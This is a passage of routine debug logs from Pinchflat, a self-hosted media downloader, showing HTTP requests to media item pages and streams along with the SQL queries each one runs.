/sources/31/media/139557/edit 07:21:11.961 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139557", "source_id" => "31"} Pipelines: [:browser] 07:21:11.964 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=846.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139557] 07:21:11.965 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=847.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:11.966 [debug] QUERY OK source="settings" db=0.3ms idle=847.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:11.966 [debug] QUERY OK source="settings" db=0.1ms idle=847.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:11.967 [info] Sent 200 in 6ms 07:21:12.113 [info] GET /sources/31/media/140859/edit 07:21:12.113 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140859", "source_id" => "31"} Pipelines: [:browser] 07:21:12.114 [debug] QUERY OK source="media_items" db=0.1ms idle=150.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140859] 07:21:12.114 [debug] QUERY OK source="settings" db=0.0ms idle=149.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:12.115 [debug] QUERY OK source="settings" db=0.1ms idle=149.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:12.115 [debug] QUERY OK source="settings" db=0.1ms idle=149.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:12.116 [info] Sent 200 in 2ms 07:21:12.614 [info] GET /sources/30/media/139303/edit 07:21:12.615 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139303", "source_id" => "30"} Pipelines: [:browser] 07:21:12.616 [debug] QUERY OK source="media_items" db=0.4ms idle=649.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139303] 07:21:12.617 [debug] QUERY OK source="settings" db=0.4ms idle=502.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:12.618 [debug] QUERY OK source="settings" db=0.4ms idle=502.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:12.620 [debug] QUERY OK source="settings" db=0.4ms idle=504.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:12.621 [info] Sent 200 in 6ms 07:21:13.116 [info] GET /sources/30/media/140166/edit 07:21:13.116 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140166", "source_id" => "30"} Pipelines: [:browser] 07:21:13.118 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=500.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140166] 07:21:13.119 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:13.120 [debug] QUERY OK source="settings" db=0.3ms idle=501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:13.121 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:13.124 [info] Sent 200 in 8ms 07:21:23.850 [info] GET /media/c28effa9-0901-4250-ae98-36df40680dbc/stream 07:21:23.850 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c28effa9-0901-4250-ae98-36df40680dbc"} Pipelines: [:maybe_basic_auth] 07:21:23.852 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1731.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c28effa9-0901-4250-ae98-36df40680dbc"] 07:21:23.852 [debug] Invalid range request for media item: c28effa9-0901-4250-ae98-36df40680dbc - serving full file 07:21:23.853 [info] Sent 200 in 2ms 07:21:24.126 [info] GET /media/fec685e0-d16d-4a29-aa2b-0aa65e9f172c/stream 07:21:24.127 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "fec685e0-d16d-4a29-aa2b-0aa65e9f172c"} Pipelines: [:maybe_basic_auth] 07:21:24.128 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1007.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["fec685e0-d16d-4a29-aa2b-0aa65e9f172c"] 07:21:24.128 [debug] Invalid range request for media item: fec685e0-d16d-4a29-aa2b-0aa65e9f172c - serving full file 07:21:24.128 [info] Sent 200 in 2ms 07:21:40.292 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:42.682 [info] GET /sources/31/media/141080 07:21:42.683 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 07:21:42.684 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1564.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 07:21:42.686 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=647.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 07:21:42.687 [debug] QUERY OK source="sources" db=1.3ms idle=566.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:21:42.687 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=567.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 07:21:42.688 [debug] QUERY OK source="settings" db=0.1ms idle=568.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:42.688 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:42.688 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:42.689 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:21:42.690 [info] Sent 200 in 7ms 07:21:43.027 [info] GET /sources/30/media/141039 07:21:43.027 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 07:21:43.028 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=340.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 07:21:43.030 [debug] QUERY OK source="tasks" db=0.4ms idle=341.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 07:21:43.030 [debug] QUERY OK source="sources" db=0.7ms idle=341.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:21:43.032 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=342.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 07:21:43.033 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=343.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:43.034 [debug] QUERY OK source="settings" db=0.3ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:43.035 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:43.037 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:21:43.043 [info] Sent 200 in 16ms 07:21:43.530 [info] GET /sources/31/media/141520 07:21:43.531 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 07:21:43.532 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=498.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 07:21:43.534 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=499.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 07:21:43.534 [debug] QUERY OK source="sources" db=1.1ms idle=497.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:21:43.536 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=497.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 07:21:43.537 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=494.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:43.537 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:43.537 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:43.538 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:21:43.540 [info] Sent 200 in 9ms 07:21:44.027 [info] GET /sources/30/media/141479 07:21:44.028 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 07:21:44.029 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=492.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 07:21:44.030 [debug] QUERY OK source="tasks" db=0.4ms idle=493.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 07:21:44.031 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=493.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:21:44.032 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=494.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 07:21:44.033 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=494.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:44.034 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:44.035 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:44.037 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:21:44.042 [info] Sent 200 in 14ms 07:21:44.529 [info] GET /media/4adf5ac9-b70c-4182-9100-86b50d6f5878/stream 07:21:44.529 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4adf5ac9-b70c-4182-9100-86b50d6f5878"} Pipelines: [:maybe_basic_auth] 07:21:44.530 [debug] QUERY OK source="media_items" db=0.5ms idle=496.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4adf5ac9-b70c-4182-9100-86b50d6f5878"] 07:21:44.531 [debug] Invalid range request for media item: 4adf5ac9-b70c-4182-9100-86b50d6f5878 - serving full file 07:21:44.531 [info] Sent 200 in 2ms 07:21:45.047 [info] GET /sources/31/media/141299/force_download 07:21:45.048 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1012.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:45.049 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1011.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 